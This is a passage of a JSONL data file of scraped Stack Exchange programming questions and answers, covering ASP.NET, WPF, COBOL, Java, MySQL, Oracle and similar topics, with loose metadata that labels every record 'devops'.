{"id": "hf_0bf49089f954", "question": "<p>Is there a way to bind a MemoryStream to asp:image control?</p>\n", "question_body": "", "answer": "Best bet is to create an HttpHandler that would return the image.  Then bind the ImageUrl property on the asp:Image to the url of the HttpHandler.\nHere is some code.\nFirst create the HttpHandler:\n```\n```\n<%@ WebHandler Language=\"C#\" Class=\"ImageHandler\" %>\n\nusing System.Drawing;\nusing System.Drawing.Imaging;\nusing System.IO;\nusing System.Web;\n\npublic class ImageHandler : IHttpHandler\n{    \n    public void ProcessRequest (HttpContext context)\n    {\n        context.Response.Clear();\n\n        if (!String.IsNullOrEmpty(context.Request.QueryString[\"id\"]))\n        {\n            int id = Int32.Parse(context.Request.QueryString[\"id\"]);\n\n            // Now you have the id, do what you want with it, to get the right image\n            // More than likely, just pass it to the method, that builds the image\n            Image image = GetImage(id);\n\n            // Of course set this to whatever your format is of the image\n            context.Response.ContentType = \"image/jpeg\";\n            // Save the image to the OutputStream\n            image.Save(context.Response.OutputStream, ImageFormat.Jpeg);\n        }\n        else\n        {\n            context.Response.ContentType = \"text/html\";\n            context.Response.Write(\"<p>Need a valid id</p>\");\n        }\n    }\n\n    public bool IsReusable\n    {\n        get\n        {\n            return false;\n        }\n   }\n\n   private Image GetImage(int id)\n   {\n       // Not sure how you are building your MemoryStream\n       // Once you have it, you just use the Image class to \n       // create the image from the stream.\n       MemoryStream stream = new MemoryStream();\n       return Image.FromStream(stream);\n   }\n}\n```\n```\nNext, just call it inside your aspx page where you are using the asp:Image.\n```\n```\n<%@ Page Language=\"C#\" AutoEventWireup=\"true\"  CodeFile=\"Default.aspx.cs\" Inherits=\"_Default\" %>\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head runat=\"server\">\n    <title></title>\n</head>\n<body>\n    <form id=\"form1\" runat=\"server\">\n        <div>\n            <asp:Image ID=\"myImage\" ImageUrl=\"~/ImageHandler.ashx?id=1\" runat=\"server\" />\n        </div>\n    </form>\n</body>\n</html>\n```\n```\nAnd that is it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.073097"}
{"id": "hf_60a42ada52c3", "question": "<p>I want to use an image or icon as a custom cursor in WPF app. How can I do that?</p>\n", "question_body": "", "answer": "You could try this\n```\n```\n<Window Cursor=\"\"C:\\WINDOWS\\Cursors\\dinosaur.ani\"\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.097895"}
{"id": "hf_fbee41e2ac50", "question": "<p>Visual Studio 2005 doesn't provide an interface for creating relationships between tables in a SQL Server CE database (I'm using version 3.0) and you can't open a Compact Edition DB using Management Studio as far as I know. Any ideas?</p>\n", "question_body": "", "answer": "Unfortunately there is currently no designer support (unlike for SQL Server 2005) for building relationships between tables in SQL Server CE.  To build relationships you need to use SQL commands such as:\n```\n```\nALTER TABLE Orders\nADD CONSTRAINT FK_Customer_Order\nFOREIGN KEY (CustomerId) REFERENCES Customers(CustomerId)\n```\n```\nIf you are doing CE development, i would recomend this FAQ:\nEDIT\n: In Visual Studio 2008 this is now possible to do in the GUI by right-clicking on your table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.137962"}
{"id": "hf_488dec95693e", "question": "<p>I'm working on a C# winforms application (VS.NET 2008, .NET 3.5 sp 1). I have a search field on a form, and rather than have a label next to the search field I'd like to show some grey text in the background of the search field itself ('Search terms', for example). When the user starts entering text in the search field the text should disappear. How can I achieve this?</p>\n", "question_body": "", "answer": "You will need to use some P/Inovke interop code to do this. Look for the Win32 API\n```\nSendMessage\n```\nfunction and the\n```\nEM_SETCUEBANNER\n```\nmessage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.199382"}
{"id": "hf_8d7dc4c1b81c", "question": "<p>How do I concatenate together two strings, of unknown length, in COBOL? So for example:</p>\n\n<pre><code>WORKING-STORAGE.\n    FIRST-NAME    PIC X(15) VALUE SPACES.\n    LAST-NAME     PIC X(15) VALUE SPACES.\n    FULL-NAME     PIC X(31) VALUE SPACES.\n</code></pre>\n\n<p>If <code>FIRST-NAME = 'JOHN           '</code> and <code>LAST-NAME = 'DOE            '</code>, how can I get:</p>\n\n<pre><code>FULL-NAME = 'JOHN DOE                       '\n</code></pre>\n\n<p>as opposed to:</p>\n\n<pre><code>FULL-NAME = 'JOHN            DOE            '\n</code></pre>\n", "question_body": "", "answer": "At first glance, the solution is to use reference modification to STRING together the two strings, including the space. The problem is that you must know how many trailing spaces are present in FIRST-NAME, otherwise you'll produce something like 'JOHNbbbbbbbbbbbbDOE', where b is a space.\nThere's no intrinsic COBOL function to determine the number of trailing spaces in a string, but there is one to determine the number of leading spaces in a string. Therefore, the fastest way, as far as I can tell, is to reverse the first name, find the number of leading spaces, and use reference modification to string together the first and last names.\nYou'll have to add these fields to working storage:\n```\n```\nWORK-FIELD        PIC X(15) VALUE SPACES.\nTRAILING-SPACES   PIC 9(3)  VALUE ZERO.\nFIELD-LENGTH      PIC 9(3)  VALUE ZERO.\n```\n```\nReverse the FIRST-NAME\nMOVE FUNCTION REVERSE (FIRST-NAME) TO WORK-FIELD.\nWORK-FIELD now contains leading spaces, instead of trailing spaces.\nFind the number of trailing spaces in FIRST-NAME\nINSPECT WORK-FIELD TALLYING TRAILING-SPACES FOR LEADING SPACES.\nTRAILING-SPACE now contains the number of trailing spaces in FIRST-NAME.\nFind the length of the FIRST-NAME field\nCOMPUTE FIELD-LENGTH = FUNCTION LENGTH (FIRST-NAME).\nConcatenate the two strings together.\nSTRING FIRST-NAME (1:FIELD-LENGTH – TRAILING-SPACES) “ “ LAST-NAME DELIMITED BY SIZE, INTO FULL-NAME.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.223528"}
{"id": "hf_b1050ab7060e", "question": "<p>If I have an object implementing the <code>Map</code> interface in Java and I wish to iterate over every pair contained within it,  what is the most efficient way of going through the map?</p>\n\n<p>Will the ordering of elements depend on the specific map implementation that I have for the interface?</p>\n", "question_body": "", "answer": "Yes, the order depends on the specific Map implementation.\n@ScArcher2 has the more elegant Java 1.5 syntax\n. In 1.4, I would do something like this:\n```\n```\nIterator entries = myMap.entrySet().iterator();\nwhile (entries.hasNext()) {\n  Entry thisEntry = (Entry) entries.next();\n  Object key = thisEntry.getKey();\n  Object value = thisEntry.getValue();\n  // ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.279632"}
{"id": "hf_7e1c9fda19c3", "question": "<p>I have a situation where I might have multiple instances of a program running at once, and it's important that just one specific function not be executing in more than one of these instances at once.</p>\n\n<p>Is this the proper way to use a mutex to prevent this from happening?</p>\n\n<pre><code>lock (this.GetType()) {\n    _log.Info(\"Doing Sync\");\n    DoSync();\n    _log.Info(\"Sync Completed\");\n}\n</code></pre>\n", "question_body": "", "answer": "TheSeeker is correct.\nJeff Richter's advice in\nClr Via C#\n(p638-9) on locking is to create a private object specifically for the purpose of being locked.\n```\n```\nprivate Object _lock = new Object();\n\n// usage\nlock( _lock )\n{\n    // thread-safe code here..\n}\n```\n```\nThis works because _lock cannot be locked by anything outside the current class.\nEDIT: this is applicable to threads executing within a single process. @David Mohundro's answer is correct for inter-process locking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.315338"}
{"id": "hf_48c39139f8ab", "question": "<p>As a follow up to this question: <a href=\"https://stackoverflow.com/questions/46873/developing-a-online-exam-application-how-do-i-prevent-cheaters\">Developing a online exam application, how do I prevent cheaters?</a></p>\n\n<p>Can I detect when Flex application looses its focus? that is if a user has clicked onto another application or opened a browser tab?</p>\n\n<p>I read this: <a href=\"http://blog.flexmonkeypatches.com/2007/12/07/detecting-when-a-flex-application-loses-focus/\" rel=\"nofollow noreferrer\">Detecting when a Flex application loses focus</a> but was not very clear...</p>\n", "question_body": "", "answer": "The key part of the code at that link is the\n```\n```\nsystemManager.stage.addEventListener(Event.DEACTIVATE,deactivate);\n```\n```\nThe Flash player send outs activate and deactivate events when the focus enters and leaves the player. All you need to do is create a listenr for them and react appropriately.\nA more clear example of how to use to the activate and deactivate events can be seen at\nblog.flexaxamples.com\n.\nAlso, it looks like the activate and deactivate events have trouble in some browsers.\nColin Moock has more info on that here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.339475"}
{"id": "hf_61b373687cda", "question": "<p>What is the proper way to minimize a WinForms app to the system tray? </p>\n\n<p>Note: minimize to <strong><em>system tray</em></strong>; on the right side of the taskbar by the clock. I'm not asking about minimizing to taskbar, which is what happens when you hit the \"minus\" button on the window.</p>\n\n<p>I've seen hackish solutions like, \"minimize, set ShowInTaskbar = false, then show your NotifyIcon.\"</p>\n\n<p>Solutions like that are hackish because the app doesn't appear to minimize to the tray like other apps, the code has to detect when to set ShowInTaskbar = true, among other issues.</p>\n\n<p>What's the proper way to do this?</p>\n", "question_body": "", "answer": "```\n```\nthis.WindowState = FormWindowState.Minimized\n```\n```\nThat is the built in way to do it and it looks fine to me most of the time. The only time is has some weirdness to it is if you call it on startup which has some weirdness sometimes which is why most people will also set the ShowInTaskbar = false and hide the form too.\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.form.windowstate.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.363179"}
{"id": "hf_4eef61b45bf0", "question": "<p>Does anyone have any tips or gotcha moments to look out for when trying to migrate MySQL tables from the the default case-insenstive swedish or ascii charsets to utf-8? Some of the projects that I'm involved in are striving for better internationalization and the database is going to be a significant part of this change.</p>\n\n<p>Before we look to alter the database, we are going to convert each site to use UTF-8 character encoding (from least critical to most) to help ensure all input/output is using the same character set.</p>\n\n<p>Thanks for any help</p>\n", "question_body": "", "answer": "I am going to be going over the following sites/articles to help find an answer.\nThe Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!) - Joel on Software\nUTF-8 And Unicode FAQ\nHanselminutes episode \"Sorting out Internationalization with Michael Kaplan\"\nAnd I also just found a very on topic post by Derek Sivers @ O'Reilly ONLamp Blog as I was writing this out.\nTurning MySQL data in latin1 to utf8 utf-8", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.486341"}
{"id": "hf_83920eb38bbf", "question": "<p>A question that occasionally arises is what is the best way to determine the changelist that you last synced to in Perforce. This is often needed for things like injecting the changelist number into the revision info by the automatic build system.</p>\n", "question_body": "", "answer": "Just to answer this myself in keeping with Jeff's suggestion of using Stackoverflow as a place to keep technical snippets....\nFrom the command line use:\n```\n```\np4 changes -m1 @<clientname>\n```\n```\nAnd just replace  with the name of your client spec. This will produce output of the form:\n```\n```\nChange 12345 on 2008/08/21 by joebloggs@mainline-client '....top line of description...'\n```\n```\nWhich is easily parsed to extract the changelist number.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.511097"}
{"id": "hf_09b8fbc4c655", "question": "<p>Printf got added to Java with the 1.5 release but I can't seem to find how to send the output to a string rather than a file (which is what sprintf does in C). Does anyone know how to do this? </p>\n", "question_body": "", "answer": "```\n```\n// Store the formatted string in 'result'\nString result = String.format(\"%4d\", i * j);\n\n// Write the result to standard output\nSystem.out.println( result );\n```\n```\nSee\nformat\nand its\nsyntax", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.560132"}
{"id": "hf_6b665f1d508e", "question": "<p>About 6 months ago I rolled out a site where every request needed to be over https.  The only way at the time I could find to ensure that every request to a page was over https was to check it in the page load event.  If the request was not over http I would response.redirect(\"<a href=\"https://example.com\" rel=\"noreferrer\">https://example.com</a>\")</p>\n\n<p>Is there a better way -- ideally some setting in the web.config?</p>\n", "question_body": "", "answer": "Please use\nHSTS\n(HTTP Strict Transport Security)\nfrom\nhttp://www.hanselman.com/blog/HowToEnableHTTPStrictTransportSecurityHSTSInIIS7.aspx\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration>\n    <system.webServer>\n        <rewrite>\n            <rules>\n                <rule name=\"HTTP to HTTPS redirect\" stopProcessing=\"true\">\n                    <match url=\"(.*)\" />\n                    <conditions>\n                        <add input=\"{HTTPS}\" pattern=\"off\" ignoreCase=\"true\" />\n                    </conditions>\n                    <action type=\"Redirect\" url=\"https://{HTTP_HOST}/{R:1}\"\n                        redirectType=\"Permanent\" />\n                </rule>\n            </rules>\n            <outboundRules>\n                <rule name=\"Add Strict-Transport-Security when HTTPS\" enabled=\"true\">\n                    <match serverVariable=\"RESPONSE_Strict_Transport_Security\"\n                        pattern=\".*\" />\n                    <conditions>\n                        <add input=\"{HTTPS}\" pattern=\"on\" ignoreCase=\"true\" />\n                    </conditions>\n                    <action type=\"Rewrite\" value=\"max-age=31536000\" />\n                </rule>\n            </outboundRules>\n        </rewrite>\n    </system.webServer>\n</configuration>\n```\n```\nOriginal Answer\n(replaced with the above on 4 December 2015)\nbasically\n```\n```\nprotected void Application_BeginRequest(Object sender, EventArgs e)\n{\n   if (HttpContext.Current.Request.IsSecureConnection.Equals(false) && HttpContext.Current.Request.IsLocal.Equals(false))\n   {\n    Response.Redirect(\"https://\" + Request.ServerVariables[\"HTTP_HOST\"]\n+   HttpContext.Current.Request.RawUrl);\n   }\n}\n```\n```\nthat would go in the global.asax.cs (or global.asax.vb)\ni dont know of a way to specify it in the web.config", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.632805"}
{"id": "hf_de3216a62b03", "question": "<p>Is there a way to disallow publishing of debug builds with ClickOnce?</p>\n\n<p>I only want to allow release builds through, but right now human error causes a debug build to slip through once in a while.  </p>\n\n<p>We're publishing the build from within Visual Studio.</p>\n", "question_body": "", "answer": "One thing you can do is add a condition to the .csproj or .vbproj file that MSBuild will check when doing a build.\nThe condition would check if a publish is occurring and check if the build is a debug build, then do something like run an external tool or otherwise interrupt the build process or cause it to fail.\nAn example might be something like this:\n```\n```\n<Choose>\n    <When Condition=\" '$(Configuration)'=='Debug' \">\n        <Exec Command=\"C:\\foo.bat\" ContinueOnError=\"false\" />\n    </When>\n </Choose>\n```\n```\nWhere foo.bat is a batch file that return non-zero, thus stopping the publish from occurring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.670234"}
{"id": "hf_155841d37802", "question": "<p>We maintain a system that has over a million lines of COBOL code. Does someone have suggestions about how to migrate to a GUI (probably Windows based) without losing all the business logic we have written in COBOL? And yes, some of the business logic is buried inside the current user interface.</p>\n", "question_body": "", "answer": "Writing a\nscreen scraper\nis probably your best bet. Some of the major ERP systems have done this for years during a transition from server based apps to 3-tier applications. One i have worked with had loads of interesting features such as drop down lists for regularly used fields, date pop ups and even client based macro languages based on the scraping input.\nThese weren't great but worked well for the clients and made sure the applications still worked in a reliable fashion.\nThere is a lot of different ways to put this together, but if you put some thought into it you could probably use java or .net to create a desktop based application and with a little extra effort make a web based implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.694741"}
{"id": "hf_bda85a10e6d2", "question": "<p>I'd like to enable/disable some other controls based on how many items are in my <code>ListView</code> control. I can't find any event that would do this, either on the <code>ListView</code> itself or on the <code>ListViewItemCollection</code>. Maybe there's a way to generically watch any collection in C# for changes?</p>\n\n<p>I'd be happy with other events too, even ones that sometimes fire when the items don't change, but for example the <code>ControlAdded</code> and <code>Layout</code> events didn't work :(.</p>\n", "question_body": "", "answer": "I can't find any events that you could use.  Perhaps you could subclass ListViewItemCollection, and raise your own event when something is added, with code similar to this.\n```\n```\nPublic Class MyListViewItemCollection\n    Inherits ListView.ListViewItemCollection\n\n    Public Event ItemAdded(ByVal Item As ListViewItem)\n\n    Sub New(ByVal owner As ListView)\n        MyBase.New(owner)\n    End Sub\n\n    Public Overrides Function Add(ByVal value As System.Windows.Forms.ListViewItem) As System.Windows.Forms.ListViewItem\n        Dim Item As ListViewItem\n\n        Item = MyBase.Add(value)\n\n        RaiseEvent ItemAdded(Item)\n\n        Return Item\n    End Function\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.768817"}
{"id": "hf_094ee99aece1", "question": "<p>Can i print out a url <code>/admin/manage/products/add</code> of a certain view in a template?</p>\n\n<p>Here is the rule i want to create a link for</p>\n\n<pre><code>(r'^manage/products/add/$', create_object, {'model': Product, 'post_save_redirect': ''}),\n</code></pre>\n\n<p>I would like to have /manage/products/add in a template without hardcoding it. How can i do this?</p>\n\n<p><strong>Edit:</strong> I am not using the default admin (well, i am but it is at another url), this is my own</p>\n", "question_body": "", "answer": "If you use\nnamed url patterns\nyou can do the follwing in your template\n```\n```\n{% url create_object %}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.841655"}
{"id": "hf_b5cde52a2f60", "question": "<p>We have literally 100's of Access databases floating around the network. Some with light usage and some with quite heavy usage, and some no usage whatsoever. What we would like to do is centralise these databases onto a managed database and retain as much as possible of the reports and forms within them.</p>\n\n<p>The benefits of doing this would be to have some sort of usage tracking, and also the ability to pay more attention to some of the important decentralised data that is stored in these apps.</p>\n\n<p>There is no real constraints on RDBMS (Oracle, MS SQL server) or the stack it would run on (LAMP, ASP.net, Java) and there obviously won't be a silver bullet for this. We would like something that can remove the initial grunt work in an automated fashion.</p>\n", "question_body": "", "answer": "We upsize (either using the upsize wizard or by hand) users to SQL server. It's usually pretty straight forward. Replace all the access tables with linked tables to the sql server and keep all the forms/reports/macros in access. The investment in access isn't lost and the users can keep going business as usual. You get reliability of sql server and centralized backups. Keep in mind  -  we’ve done this for a few large access databases, not hundreds. I'd do a pilot of a few dozen and see how it works out.\nUPDATE:\nI just found this, the sql server migration assitant, it might be worth a look:\nhttp://www.microsoft.com/sql/solutions/migration/default.mspx\nUpdate: Yes, some refactoring will be necessary for poorly designed databases. As for how to handle access sprawl? I've run into this at companies with lots of technical users (engineers esp., are the worst for this... and excel sprawl). We did an audit - (after backing up) deleted any databases that hadn't been touched in over a year. \"Owners\" were assigned based the location &/or data in the database. If the database was in \"S:\\quality\\test_dept\" then the quality manager and head test engineer had to take ownership of it or we delete it (again after backing it up).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.888937"}
{"id": "hf_0e6d75f1576c", "question": "<p>Quite a few methods exist for passing data into a Flex binary from a Rails application.  Right now, I'm using the old e4x resultFormat with a xml.erb template.  I've done AMF before, but I feel like inlining parameters into the embed itself is a better solution because you don't have to wait for the browser to load a swf binary and the binary to make a web request.  </p>\n\n<p>Taking all of that into account, what is the best practice for rendering a Flex widget with a Rails back-end these days?</p>\n", "question_body": "", "answer": "Sounds to me like you shouldn't use Flex at all. Flex is great for writing applications that load and display data, but is a huge overhead if you just want to display charts. If you're worried about delivering the SWF and the data in two separate responses, you should be worrying about the 200-300 K overhead of the Flex framework.\nGo with something more lightweight like\nFlot\nand deliver the JavaScript code that generates the charts along with the data. I don't think Flex is a suitable platform for what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.984488"}
{"id": "hf_51854f4b3ec1", "question": "<p>I'm trying to install <a href=\"http://godi.camlcity.org/godi/index.html\" rel=\"noreferrer\">GODI</a> on linux (Ubuntu). It's a library management tool for the ocaml language. I've actually installed this before --twice, but awhile ago-- with no issues --that I can remember-- but this time I just can't figure out what I'm missing.</p>\n\n<pre><code>$ ./bootstrap --prefix /home/nlucaroni/godi\n$ ./bootstrap_stage2\n.: 1: godi_confdir: not found\nError: Command fails with code 2: /bin/sh\nFailure!\n</code></pre>\n\n<p>I had added the proper directories to the path, and they show up with a quick <code>echo $path</code>, and <code>godi_confdir</code> reported as being:</p>\n\n<pre><code> /home/nlucaroni/godi/etc\n</code></pre>\n\n<p>(...and the directory exists, with the godi.conf file present). So, I can't figure out why <code>./bootstrap_stage2</code> isn't working.</p>\n", "question_body": "", "answer": "What is the output of\n```\nwhich godi_confdir\n```\n?\nP.S. I remember having this exact same problem, but I don't remember precisely how I fixed it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.011687"}
{"id": "hf_237e50c8fb62", "question": "<p>I am looking for easy steps that are simple and effective in making a web application more secure.</p>\n\n<p>What are your top tips for secure web applications, and what kind of attack will they stop?</p>\n", "question_body": "", "answer": "Escape user provided content to avoid\nXSS\nattacks.\nUsing\nparemeterised SQL\nor stored procedures to avoid\nSQL Injections\nattacks.\nRunning the webserver as an unprivileged account to minimise attacks on the OS.\nSetting the webserver directories to an unprivileged account, again, to minimise attacks on the OS.\nSetting up unprivileged accounts on the SQL server and using them for the application to minimise attacks on the DB.\nFor more in depth information, there is always the\nOWASP Guide to Building Secure Web Applications and Web Services", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.034638"}
{"id": "hf_b4b43331c150", "question": "<p>I'm implementing a custom control and in this control I need to write a bunch of links to the current page, each one with a different query parameter. I need to keep existing query string intact, and add (or modify the value  of ) an extra query item (eg. \"page\"):</p>\n\n<pre><code>\"Default.aspx?page=1\"\n\"Default.aspx?page=2\"\n\"Default.aspx?someother=true&amp;page=2\"\n</code></pre>\n\n<p>etc.</p>\n\n<p>Is there a simple helper method that I can use  in the Render method  ... uhmm ... like:</p>\n\n<pre><code>Page.ClientScript.SomeURLBuilderMethodHere(this,\"page\",\"1\");\nPage.ClientScript.SomeURLBuilderMethodHere(this,\"page\",\"2\");\n</code></pre>\n\n<p>That will take care of generating a correct URL, maintain existing query string items and not create duplicates  eg. page=1&amp;page=2&amp;page=3?</p>\n\n<p>Rolling up my own seems like such an unappealing task.</p>\n", "question_body": "", "answer": "I'm afraid I don't know of any built-in method for this, we use this method that takes the querystring and sets parameters\n```\n```\n/// <summary>\n    /// Set a parameter value in a query string. If the parameter is not found in the passed in query string,\n    /// it is added to the end of the query string\n    /// </summary>\n    /// <param name=\"queryString\">The query string that is to be manipulated</param>\n    /// <param name=\"paramName\">The name of the parameter</param>\n    /// <param name=\"paramValue\">The value that the parameter is to be set to</param>\n    /// <returns>The query string with the parameter set to the new value.</returns>\n    public static string SetParameter(string queryString, string paramName, object paramValue)\n    {\n        //create the regex\n        //match paramname=*\n        //string regex = String.Format(@\"{0}=[^&]*\", paramName);\n        string regex = @\"([&?]{0,1})\" + String.Format(@\"({0}=[^&]*)\", paramName);\n\n        RegexOptions options = RegexOptions.RightToLeft;\n        // Querystring has parameters...\n        if (Regex.IsMatch(queryString, regex, options))\n        {\n            queryString = Regex.Replace(queryString, regex, String.Format(\"$1{0}={1}\", paramName, paramValue));\n        }\n        else\n        {\n            // If no querystring just return the Parameter Key/Value\n            if (queryString == String.Empty)\n            {\n                return String.Format(\"{0}={1}\", paramName, paramValue);\n            }\n            else\n            {\n                // Append the new parameter key/value to the end of querystring\n                queryString = String.Format(\"{0}&{1}={2}\", queryString, paramName, paramValue);\n            }\n        }\n        return queryString;\n    }\n```\n```\nObviously you could use the QueryString\n```\nNameValueCollection\n```\nproperty of the URI object to make looking up the values easier, but we wanted to be able to parse any querystring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.058706"}
{"id": "hf_300e72ad385d", "question": "<p>I like how SQLite library can be included into an application and the application has a full-fledged database to use.</p>\n\n<p>Similarly, is there an open source versioning library that I can include into my application so that I can save versions of files as well as do diffs and merges?</p>\n", "question_body": "", "answer": "In my opinion\nFirebird\nis one of the best choices for embedded DB scenarios.\nAlso\nMicrosoft SQL Server Compact\n(closed source, but free) might be suitable, however it less capable than Firebird.\nEDIT:\nI misread you question. If you don't need RDBMS, you can try to embed\nSVN\nto your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.095528"}
{"id": "hf_dda646aa6b87", "question": "<p>What is the command to list all triggers in a MySQL database?</p>\n", "question_body": "", "answer": "The command for listing all triggers is:\n```\n```\nshow triggers;\n```\n```\nor you can access the\n```\nINFORMATION_SCHEMA\n```\ntable directly by:\n```\n```\nselect trigger_schema, trigger_name, action_statement\nfrom information_schema.triggers\n```\n```\nYou can do this from version 5.0.10 onwards.\nMore information about the\n```\nTRIGGERS\n```\ntable is here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:44.119759"}
{"id": "hf_7334d320d2b2", "question": "<p>We're a .NET team which uses the Oracle DB for a lot of reasons that I won't get into. But deployment has been a bitch. We are manually keeping track of all the changes to the schema in each version, by keeping a record of all the scripts that we run during development. </p>\n\n<p>Now, if a developer forgets to check-in his script to the source control after he ran it - which is not that rare - at the end of the iteration we get a great big headache.</p>\n\n<p>I hear that SQL Compare by Red-Gate might solve these kind of issues, but it only has SQL Server support. Anybody knows of a similar tool for Oracle? I've been unable to find one.</p>\n", "question_body": "", "answer": "TOAD is a great generic tool for Oracle development and i think a similar feature is in the basic version. You can download a trial version (make sure you don't get the old free version of TOAD, that is about 4 years old)\nIf you don't want to buy a tool, and you need something less flash you could roll your own quite easily. I just found\nSchema Compare Tool for Oracle\nwhich looks very simple, and has a nice baseline concept. This is very handy if you want to track changes since the last code check-in. This way you discover changes that may have been made to multiple DBs by hand, but not documented.\nPS: The \"SQL Compare by Red-Gate\" demo looked very nice indeed... however the voice over cracked me up... sounded like a BBC documentary.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 